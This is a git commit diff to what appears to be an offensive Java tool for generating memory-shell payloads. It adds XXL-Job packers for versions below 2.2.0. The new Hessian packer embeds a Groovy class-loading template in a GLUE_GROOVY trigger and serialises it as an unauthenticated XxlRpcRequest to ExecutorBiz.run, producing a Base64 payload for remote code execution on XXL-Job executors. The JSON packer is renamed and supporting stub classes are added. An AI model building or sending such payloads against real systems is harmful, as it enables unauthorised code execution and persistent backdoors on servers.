feat: suitable for xxl-job < 2.2.0 #151

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent 556c9d63ff
commit 29c19a318f
19 changed files with 544 additions and 38 deletions
@@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
import lombok.Getter;
import java.util.List;
@@ -180,6 +183,8 @@ public enum Packers {
GroovyTransformJar(new GroovyTransformJarPacker()),
XxlJob(new XxlJobPacker()),
XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class),
XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class),
;
private final Packer instance;
private Class<?> parentPacker = null;
@@ -0,0 +1,57 @@
package com.reajason.javaweb.packer.xxljob;
import com.caucho.hessian.io.Hessian2Output;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.UUID;
/**
* @author ReaJason
* @since 2026/07/14
*/
public class XxlJobHessianPacker implements Packer {
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String source = template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
TriggerParam triggerParam = new TriggerParam();
triggerParam.setJobId(1);
triggerParam.setExecutorHandler("demoJobHandler");
triggerParam.setExecutorParams("demoJobHandler");
triggerParam.setExecutorBlockStrategy("COVER_EARLY");
triggerParam.setExecutorTimeout(0);
triggerParam.setLogId(1);
triggerParam.setLogDateTime(System.currentTimeMillis());
triggerParam.setGlueType("GLUE_GROOVY");
triggerParam.setGlueSource(source);
triggerParam.setGlueUpdatetime(System.currentTimeMillis());
triggerParam.setBroadcastIndex(0);
triggerParam.setBroadcastTotal(0);
XxlRpcRequest rpcRequest = new XxlRpcRequest();
rpcRequest.setRequestId(UUID.randomUUID().toString());
rpcRequest.setCreateMillisTime(System.currentTimeMillis());
rpcRequest.setAccessToken(null);
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
rpcRequest.setMethodName("run");
rpcRequest.setParameterTypes(new Class<?>[]{TriggerParam.class});
rpcRequest.setParameters(new Object[]{triggerParam});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.writeObject(rpcRequest);
hessian2Output.flush();
return Base64.getEncoder().encodeToString(bos.toByteArray());
}
}
@@ -1,7 +1,10 @@
package com.reajason.javaweb.packer;
package com.reajason.javaweb.packer.xxljob;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import lombok.SneakyThrows;
import java.util.HashMap;
@@ -11,7 +14,7 @@ import java.util.Map;
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
public class XxlJobJsonPacker implements Packer {
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.xxljob;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements AggregatePacker {
}
@@ -0,0 +1,56 @@
package com.xxl.job.core.biz.model;
import java.io.Serializable;
public class TriggerParam implements Serializable {
private static final long serialVersionUID = 42L;
private int jobId;
private String executorHandler;
private String executorParams;
private String executorBlockStrategy;
private int executorTimeout;
private long logId;
private long logDateTime;
private String glueType;
private String glueSource;
private long glueUpdatetime;
private int broadcastIndex;
private int broadcastTotal;
public int getJobId() { return jobId; }
public void setJobId(int jobId) { this.jobId = jobId; }
public String getExecutorHandler() { return executorHandler; }
public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }
public String getExecutorParams() { return executorParams; }
public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }
public String getExecutorBlockStrategy() { return executorBlockStrategy; }
public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }
public int getExecutorTimeout() { return executorTimeout; }
public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }
public long getLogId() { return logId; }
public void setLogId(long logId) { this.logId = logId; }
public long getLogDateTime() { return logDateTime; }
public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }
public String getGlueType() { return glueType; }
public void setGlueType(String glueType) { this.glueType = glueType; }
public String getGlueSource() { return glueSource; }
public void setGlueSource(String glueSource) { this.glueSource = glueSource; }
public long getGlueUpdatetime() { return glueUpdatetime; }
public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }
public int getBroadcastIndex() { return broadcastIndex; }
public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }
public int getBroadcastTotal() { return broadcastTotal; }
public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }
}
@@ -0,0 +1,37 @@
package com.xxl.rpc.remoting.net.params;
import java.io.Serializable;
public class XxlRpcRequest implements Serializable {
private static final long serialVersionUID = 42L;
private String requestId;
private long createMillisTime;
private String accessToken;
private String className;
private String methodName;
private Class<?>[] parameterTypes;
private Object[] parameters;
public String getRequestId() { return requestId; }
public void setRequestId(String requestId) { this.requestId = requestId; }
public long getCreateMillisTime() { return createMillisTime; }
public void setCreateMillisTime(long createMillisTime) { this.createMillisTime = createMillisTime; }
public String getAccessToken() { return accessToken; }
public void setAccessToken(String accessToken) { this.accessToken = accessToken; }
public String getClassName() { return className; }
public void setClassName(String className) { this.className = className; }
public String getMethodName() { return methodName; }
public void setMethodName(String methodName) { this.methodName = methodName; }
public Class<?>[] getParameterTypes() { return parameterTypes; }
public void setParameterTypes(Class<?>[] parameterTypes) { this.parameterTypes = parameterTypes; }
public Object[] getParameters() { return parameters; }
public void setParameters(Object[] parameters) { this.parameters = parameters; }
}
@@ -5,6 +5,7 @@ import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
@groovy.transform.CompileStatic
public static class Definder extends ClassLoader {
public Definder() {
super(Thread.currentThread().getContextClassLoader());